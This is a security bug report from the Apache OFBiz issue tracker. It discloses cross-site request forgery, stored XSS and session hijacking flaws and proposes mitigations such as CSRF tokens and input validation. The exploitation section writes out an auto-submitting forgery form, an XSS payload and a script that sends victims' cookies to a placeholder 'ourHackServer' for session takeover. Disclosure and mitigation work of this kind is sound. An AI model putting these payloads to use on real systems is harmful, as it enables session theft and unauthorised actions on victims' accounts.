Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
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Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: SVN trunk
+++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
1.: As can be verified with your favorite proxy tool (we use Burp), POST request
parameters are never "fortified" to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the middle
attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
<form method="POST" id="xsrf" name="xsrf"
action="https://127.0.0.1:8443/catalog/control/createProduct";>
<input type=hidden name="isCreate" value="true">
<input type=hidden name="productId" value="hack02">
<input type=hidden name="productTypeId" value="DIGITAL_GOOD">
<input type=hidden name="internalName" value="hack02">
</form>
<script>document.xsrf.submit(); </script>
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent to
the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in the
catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
<input type=hidden name="internalName"
value="<script>alert(document.cookie)</script>">
The malicious code will display every cookie information in a pop-up, that only
the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in a
way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
<img src="http://x.x.x.x/malicious.js";>
The malicious code will look as the following one:
<script>
var
str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
if(document.cookie.indexOf("done")<0)\{
document.cookie="done=true";
document.location.replace(str);
}
</script>
Of course the code can be a lot shorter, and the "already-exploited-check" can
be removed.
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
(remember document.URL) that will be an
authentication-required resource, the login page will ask us for valid
credentials.
In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new
cookie has been
given to us, because we don't have one. If we modify the JSESSIONID value with
the grabbed
one, and we make the previous request another time (just refresh on the login
page), then
we are riding the same victim session. If we are lucky and it's an admin, we
can do
whatever we want on his/her behalf.
+++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
Mitigation can be made in two ways:
- Infrastructure: a web application firewall like ModSecurity can be deployed
in front of Tomcat, in enterprise deployments such as
Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will
mitigate XSS and Session Hijacking.
- Application:
XSS--> input validation on form parameters and GET/POST request values must be
implemented. I was thinking
to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI
project (a really good one), or re-using the ModSecurity
Reg-expression patterns to filter out bad input.
XSRF--> build a class that will implement javax.servlet.Filter and will add to
every GET/POST request a random token that will be unique
and will change every time. In this way (if the entropy is enough and the
algorithm good, it will be quite impossible to guess it).
Said all of that, we really support Ofbiz!
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